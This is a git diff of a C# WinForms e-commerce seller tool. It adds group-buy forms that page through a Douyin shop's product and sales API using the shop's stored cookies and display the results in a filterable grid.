((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudEachActivityProductNum)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudStockValue)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudDiscountValue)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudGroupCount)).EndInit(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbSkuOptionType; + private DevComponents.Editors.ComboItem 第一个; + private DevComponents.Editors.ComboItem 最后一个; + private DevComponents.Editors.ComboItem 最便宜; + private DevComponents.Editors.ComboItem 最贵; + private DevComponents.Editors.ComboItem 不设置最便宜; + private DevComponents.Editors.ComboItem 不设置最贵; + private System.Windows.Forms.Label lblPercentSign; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.NumericUpDown nudEachActivityProductNum; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.NumericUpDown nudStockValue; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbDiscountType; + private DevComponents.Editors.ComboItem 打折; + private DevComponents.Editors.ComboItem 直降; + private DevComponents.Editors.ComboItem 一口价; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbStockType; + private DevComponents.Editors.ComboItem 全部库存; + private DevComponents.Editors.ComboItem 百分比库存; + private DevComponents.Editors.ComboItem 统一库存; + private System.Windows.Forms.Label label5; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbLimitCount; + private DevComponents.Editors.ComboItem 不限购; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.NumericUpDown nudDiscountValue; + private System.Windows.Forms.Label label17; + private System.Windows.Forms.NumericUpDown nudGroupCount; + private System.Windows.Forms.Label label11; + private DevComponents.DotNetBar.PanelEx btnSetActivity; + private DevComponents.DotNetBar.PanelEx btnStopOperate; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefreshShop; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private DevComponents.DotNetBar.PanelEx btnClear; + private System.Windows.Forms.NumericUpDown numericUpDown1; + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.NumericUpDown numericUpDown2; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.PanelEx panelEx2; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.cs new file mode 100644 index 0000000..425d57d --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.cs @@ -0,0 +1,50 @@ +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class GroupBuyMonitorForm : Form + { + public GroupBuyMonitorForm() + { + InitializeComponent(); + } + + private void btnSetActivity_Click(object sender, EventArgs e) + { + + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var colName = dgvShop.Columns[e.ColumnIndex].Name; + if (colName == "colSelect") + { + // 只允许单选 + if (dgvShop.Rows[e.RowIndex].Cells[e.ColumnIndex].Value.ParseToBool() == true) + { + dgvShop.Rows[e.RowIndex].Cells[e.ColumnIndex].Value = false; + } + else + { + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells[e.ColumnIndex].Value = false; + } + dgvShop.Rows[e.RowIndex].Cells[e.ColumnIndex].Value = true; + } + } + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.resx new file mode 100644 index 0000000..82921c0 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.Designer.cs new file mode 100644 index 0000000..a7ed010 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.Designer.cs @@ -0,0 +1,232 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class GroupBuyShopForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvProduct = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStock = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSales = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCreateTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label1 = new System.Windows.Forms.Label(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvProduct); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 4, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.label1); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1160, 597); + this.splitContainer2.SplitterDistance = 567; + this.splitContainer2.TabIndex = 10; + this.splitContainer2.SplitterMoved += new System.Windows.Forms.SplitterEventHandler(this.splitContainer2_SplitterMoved); + // + // dgvProduct + // + this.dgvProduct.AllowUserToAddRows = false; + this.dgvProduct.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvProduct.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvProduct.BackgroundColor = System.Drawing.Color.White; + this.dgvProduct.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvProduct.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvProduct.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvProduct.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colProductName, + this.colStock, + this.colSales, + this.colPrice, + this.colCreateTime, + this.colMessage}); + this.dgvProduct.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvProduct.Location = new System.Drawing.Point(4, 4); + this.dgvProduct.Name = "dgvProduct"; + this.dgvProduct.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvProduct.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvProduct.RowTemplate.Height = 23; + this.dgvProduct.Size = new System.Drawing.Size(1152, 563); + this.dgvProduct.TabIndex = 6; + this.dgvProduct.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvProduct_CellContentClick); + this.dgvProduct.CellMouseDown += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dgvProduct_CellMouseDown); + this.dgvProduct.CellMouseEnter += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvProduct_CellMouseEnter); + this.dgvProduct.CellMouseUp += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dgvProduct_CellMouseUp); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 150; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.Width = 350; + // + // colStock + // + this.colStock.HeaderText = "库存"; + this.colStock.Name = "colStock"; + this.colStock.ReadOnly = true; + this.colStock.Width = 60; + // + // colSales + // + this.colSales.HeaderText = "销量"; + this.colSales.Name = "colSales"; + this.colSales.ReadOnly = true; + this.colSales.Width = 60; + // + // colPrice + // + this.colPrice.HeaderText = "价格"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + this.colPrice.Width = 60; + // + // colCreateTime + // + this.colCreateTime.HeaderText = "创建时间"; + this.colCreateTime.Name = "colCreateTime"; + this.colCreateTime.ReadOnly = true; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 300; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.MidnightBlue; + this.label1.Location = new System.Drawing.Point(656, 2); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 17); + this.label1.TabIndex = 3; + this.label1.Text = "label1"; + this.label1.Click += new System.EventHandler(this.label1_Click); + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1160, 26); + this.statusBar.TabIndex = 2; + this.statusBar.Load += new System.EventHandler(this.statusBar_Load); + // + // GroupBuyShopForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1160, 597); + this.Controls.Add(this.splitContainer2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "GroupBuyShopForm"; + this.Text = "GroupBuyShopForm"; + this.Load += new System.EventHandler(this.GroupBuyShopForm_Load); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvProduct; + private System.Windows.Forms.Label label1; + public UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductName; + private System.Windows.Forms.DataGridViewTextBoxColumn colStock; + private System.Windows.Forms.DataGridViewTextBoxColumn colSales; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colCreateTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.cs new file mode 100644 index 0000000..92eb5c5 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.cs @@ -0,0 +1,560 @@ +using AllBase; +using AllBase.Extension; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Product; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class GroupBuyShopForm : Form + { + public List lstProductId + { + get + { + return this.dgvProduct.Rows.Cast().Where(r => r.Cells["colSelect"].Value.ParseToBool() == true && r.Visible == true) + .Select(r => r.Cells["colProductId"].Value.ToString()).ToList(); + } + } + private CheckBox chkSelectAll = null; + + DouShopLoginInfo shop = null; + public GroupBuyForm groupBuyForm = null; + public bool isGetProductSuccess = false; + public bool isGetSalesSuccess = false; + string _signature = ""; + string _timeSpan = ""; + public Dictionary dicProductSales = new Dictionary(); + public List productList = new List(); + + public GroupBuyShopForm(DouShopLoginInfo _shop = null) + { + InitializeComponent(); + + shop = _shop; + } + + private void GroupBuyShopForm_Load(object sender, EventArgs e) + { + chkSelectAll = dgvProduct.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvProduct.Columns["colSelect"].HeaderText = ""; + + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + foreach (DataGridViewRow row in dgvProduct.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + foreach (DataGridViewRow row in dgvProduct.Rows) + { + row.Cells["colSelect"].Value = true; + } + } + } + + public void InitGetProduct() + { + if (shop == null) + return; + + ShowVisitorMessage(""); + foreach (DataGridViewRow r in this.dgvProduct.Rows) + { + r.Cells["colSales"].Value = "获取中"; + r.Cells["colStock"].Value = "获取中"; + r.Cells["colMessage"].Value = ""; + } + foreach (var p in productList) + { + p.sell_num = null; + } + } + + public void GetProductSim(string listUrl, string referrerUrl, Dictionary headers, string firstPageData = "", string campaign_start_time = "", string campaign_end_time = "") + { + ShowVisitorMessage(""); + var salesUrl = listUrl; + foreach (DataGridViewRow r in this.dgvProduct.Rows) + { + Invoke(new Action(() => + { + r.Cells["colSales"].Value = "获取中"; + r.Cells["colStock"].Value = "获取中"; + r.Cells["colMessage"].Value = ""; + })); + } + foreach (var p in productList) + { + p.sell_num = null; + } + + bool isGetSalesOver = false; + + var t1 = Task.Run(() => + { + int totalx = -1; + int totalPagex = 0; + int numberx = 0; + string resultx = ""; + if (!string.IsNullOrEmpty(firstPageData)) + resultx = firstPageData; + + ShowVisitorMessage("正在初始化商品获取"); + + // 获取有销量的商品 + for (int i = 0; i < 10000; i++) + { + numberx += 20; + for (int j = 0; j < 3 && !resultx.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (headers.ContainsKey("Accept")) + simRequest.Accept = headers["Accept"]; + if (headers.ContainsKey("UserAgent")) + simRequest.UserAgent = headers["UserAgent"]; + var cookie = shop.Cookies; + + ShowVisitorMessage("商品销量获取中,第 " + (i + 1) + " 页"); + var rUrl = salesUrl.Replace("page=0", "page=" + i).Replace("&pay_type=", "&pay_type=&sell_num_min=1"); // 获取所有有销量的商品,Replace不可注释!! + resultx = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(250, 750)); + Thread.Sleep(Randomx.GetId(250, 750)); + } + } + + if (resultx.Contains("\"st\":0") && !groupBuyForm.cancellationTokenSource.IsCancellationRequested) + { + this.isGetSalesSuccess = true; + + if (totalx == -1) + { + totalx = BaseRegex.GetIntJson(ref resultx, "total"); + } + var jObj = JObject.Parse(resultx); + var jArr = jObj["data"] as JArray; + foreach (var productObj in jArr) + { + var prod = JsonHelper.SerializeObject(productObj); + + var product_id = BaseRegex.GetLongJson(ref prod, "product_id"); + var sell_num = BaseRegex.GetIntJson(ref prod, "sell_num"); + this.dicProductSales[product_id] = sell_num; + } + Thread.Sleep(Randomx.GetId(250, 750)); + Thread.Sleep(Randomx.GetId(250, 750)); + resultx = ""; + } + else + { + isGetSalesSuccess = false; + ShowVisitorMessage("获取商品销量完成"); + isGetSalesOver = true; + break; + } + + if (numberx >= totalx) + { + ShowVisitorMessage("获取商品销量完成"); + isGetSalesOver = true; + break; + } + } + }); + + var total = -1; + var totalPage = 1; + var number = 0; + var result = ""; + referrerUrl = "https://fxg.jinritemai.com/market/center/group/create?type=1"; + DateTime date = DateTime.Now.Date; + if (string.IsNullOrEmpty(campaign_start_time)) + campaign_start_time = date.ToString("yyyy-MM-dd") + "+00:00:00"; + if (string.IsNullOrEmpty(campaign_end_time)) + campaign_end_time = date.ToString("yyyy-MM-dd") + "+23:59:59"; + _timeSpan = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_timeSpan)) + _timeSpan = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)"); + if (string.IsNullOrEmpty(_timeSpan)) + _timeSpan = BaseClass.DateTimeToTimestampMilliseconds(DateTime.Now).ToString(); + _signature = BaseRegex.GetMatchRegexString(ref listUrl, "&_signature=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_signature)) + { + var listUrl2 = listUrl + "&"; + _signature = BaseRegex.GetMatchRegexString(ref listUrl2, "&_signature=([\\s\\S]+?)&"); + } + //https://fxg.jinritemai.com/byteshop/promotion/queryAvailableGoods?pageSize=15&page=2&page_size=15&campaign_start_time=2022-06-21+19:14:51&campaign_end_time=2022-06-22+19:14:51&_bid=ecom_market_shop&appid=1&_=1655887384070&_signature=_02B4Z6wo001018eSLdwAAIDCpJjttu0f6uPHlilAAJNfj1ao1TeKBkwmWorJ02UXEJ65nOUW80KDl7BCnks4QRQn4NSiCgbDAn0lDv-DZLnjG2jU-ZN-lFYs9ZV8k8yacuCAeWC7HN1lMk3576"); + listUrl = "https://fxg.jinritemai.com/byteshop/promotion/queryAvailableGoods?pageSize=15&page=0&page_size=15&campaign_start_time=" + + campaign_start_time + "&campaign_end_time=" + campaign_end_time + "&_bid=ecom_market_shop&appid=1" + + "&_=" + _timeSpan + "&_signature=" + _signature; + for (int i = 1; i <= groupBuyForm.getPage; i++) + { + if (i > totalPage) + break; + + result = ""; + number += 15; + for (int j = 0; j < 3 && !result.Contains("\"st\":0") || result.Contains("\"msg\":\"账号未登录\""); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (headers.ContainsKey("Accept")) + simRequest.Accept = headers["Accept"]; + if (headers.ContainsKey("UserAgent")) + simRequest.UserAgent = headers["UserAgent"]; + var cookie = shop.Cookies; + + var rUrl = listUrl.Replace("page=0", "page=" + i); + result = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(250, 500)); + } + + ShowVisitorMessage("正在获取商品第" + i + "页"); + } + + if (result.Contains("\"st\":0") && !groupBuyForm.cancellationTokenSource.IsCancellationRequested) + { + this.isGetProductSuccess = true; + + if (total == -1) + { + total = BaseRegex.GetIntJson(ref result, "total"); + } + + totalPage = Math.Ceiling(total / 15M).ParseToInt(); + if (totalPage > groupBuyForm.getPage) + totalPage = groupBuyForm.getPage; + string message = "正在获取商品第 " + i + " 页,共获取 " + totalPage + " 页"; + ShowVisitorMessage(""); + + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = message; + this.statusBar.pgbTaskProgress.Value = i; + this.statusBar.pgbTaskProgress.Text = i + "/" + totalPage; + this.statusBar.pgbTaskProgress.Maximum = totalPage; + })); + + try + { + var jObj = JObject.Parse(result); + var pList = JsonHelper.DeserializeJsonToList(jObj["data"]?.ToString()); + + foreach (var product in pList) + { + if (product.allow == false) + continue; + if (dicProductSales.ContainsKey(product.product_id.ParseToLong())) + product.sell_num = dicProductSales[product.product_id.ParseToLong()]; + else if (isGetSalesOver && isGetSalesSuccess) + product.sell_num = 0; + else if (isGetSalesOver) + product.sell_num = -1; + + if (this.productList.Any(p => p.product_id == product.product_id)) + this.productList.RemoveAll(p => p.product_id == product.product_id); + this.productList.Add(product); + + Invoke(new Action(() => + { + var rowId = -1; + var rowExist = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == product.product_id); + if (rowExist != null) + { + rowId = rowExist.Index; + dgvProduct.Rows.Insert(rowExist.Index, false, product.product_id, product.name, product.stock_num, product.sell_num, + product.min_price / 100M + " - " + product.max_price / 100M); + dgvProduct.Rows.Remove(rowExist); + } + else + rowId = dgvProduct.Rows.Add(false, product.product_id, product.name, product.stock_num, product.sell_num, + product.min_price / 100M + " - " + product.max_price / 100M); + + // 过滤数据 + if (groupBuyForm.keywords?.Count > 0 && !groupBuyForm.keywords.Any(k => product.name.Contains(k) || product.product_id.Contains(k))) + dgvProduct.Rows[rowId].Visible = false; + if (groupBuyForm.filterWords?.Count > 0 && groupBuyForm.filterWords.Any(k => product.name.Contains(k) || product.product_id.Contains(k))) + dgvProduct.Rows[rowId].Visible = false; + if (groupBuyForm.priceMin > product.max_price || groupBuyForm.priceMax < product.min_price) + dgvProduct.Rows[rowId].Visible = false; + if (groupBuyForm.saleMin > product.sell_num || groupBuyForm.saleMax < product.sell_num) + dgvProduct.Rows[rowId].Visible = false; + })); + } + Thread.Sleep(Randomx.GetId(250, 500)); + } + catch (Exception) + { + isGetProductSuccess = false; + break; + } + } + else + { + isGetProductSuccess = false; + break; + } + + if (number >= total) + break; + } + + t1.Wait(); + + // 最后填写商品销量 + foreach (var product in this.productList) + { + if (dicProductSales.ContainsKey(product.product_id.ParseToLong())) + product.sell_num = dicProductSales[product.product_id.ParseToLong()]; + else if (isGetSalesSuccess) + product.sell_num = 0; + else + product.sell_num = -1; + + var row = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == product.product_id); + if (row != null && row.Cells["colSales"].Value?.ToString() == "获取中") + { + if (product.sell_num >= 0) + row.Cells["colSales"].Value = product.sell_num; + if (product.sell_num >= 0) + row.Cells["colSales"].Value = product.sell_num; + } + } + + Invoke(new Action(() => + { + if (groupBuyForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "获取中断"; + } + else if (!isGetSalesSuccess) + { + this.statusBar.lblTaskStatus.Text = "获取完成,但获取销量信息失败"; + } + else if (!isGetProductSuccess) + { + this.statusBar.lblTaskStatus.Text = "获取商品信息失败"; + } + else + { + this.statusBar.lblTaskStatus.Text = "获取完成"; + } + //this.statusBar.pgbTaskProgress.Value = 0; + //this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + //this.statusBar.pgbTaskProgress.Maximum = 0; + })); + } + + + public void SetSalesCount() + { + foreach (var key in dicProductSales.Keys) + { + var row = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == key.ToString()); + if (row != null) + { + Invoke(new Action(() => + { + row.Cells["colSales"].Value = dicProductSales[key]; + })); + } + var product = this.productList.Find(p => p.product_id.ToString() == key.ToString()); + if (product != null) + product.sell_num = dicProductSales[key]; + } + + foreach (DataGridViewRow row in dgvProduct.Rows) + { + if (row.Cells["colSales"].Value.ToString() == "获取中") + { + Invoke(new Action(() => + { + if (isGetSalesSuccess) + { + row.Cells["colSales"].Value = 0; + } + else + { + row.Cells["colSales"].Value = "获取失败"; + } + })); + } + } + if (isGetSalesSuccess) + { + foreach (var prod in this.productList) + { + if (prod.sell_num == null) + prod.sell_num = 0; + } + } + } + + public void ShowVisitorMessage(string msg, string ids = "") + { + Invoke(new Action(() => + { + this.label1.Text = msg; + if (!string.IsNullOrEmpty(ids)) + { + var idList = ids.Split(new string[] { "\",\"", "\"" }, StringSplitOptions.RemoveEmptyEntries); + var rows = this.dgvProduct.Rows.Cast().Where(r => idList.Contains(r.Cells["colProductId"].Value?.ToString())); + foreach (var row in rows) + { + row.Cells["colMessage"].Value = msg; + } + } + })); + } + + private void dgvProduct_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvProduct.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvProduct.Columns[e.ColumnIndex].Name; + var row = dgvProduct.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + break; + } + } + + private void label1_Click(object sender, EventArgs e) + { + + } + + private void splitContainer2_SplitterMoved(object sender, SplitterEventArgs e) + { + + } + + private void statusBar_Load(object sender, EventArgs e) + { + + } + + bool isSelecting = false; + bool isCheck = true; + private void dgvProduct_CellMouseDown(object sender, DataGridViewCellMouseEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var columnName = dgvProduct.Columns[e.ColumnIndex].Name; + if (MouseButtons == MouseButtons.Left) + { + if (columnName == "colSelect") + { + dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + + isSelecting = true; + isCheck = dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + + 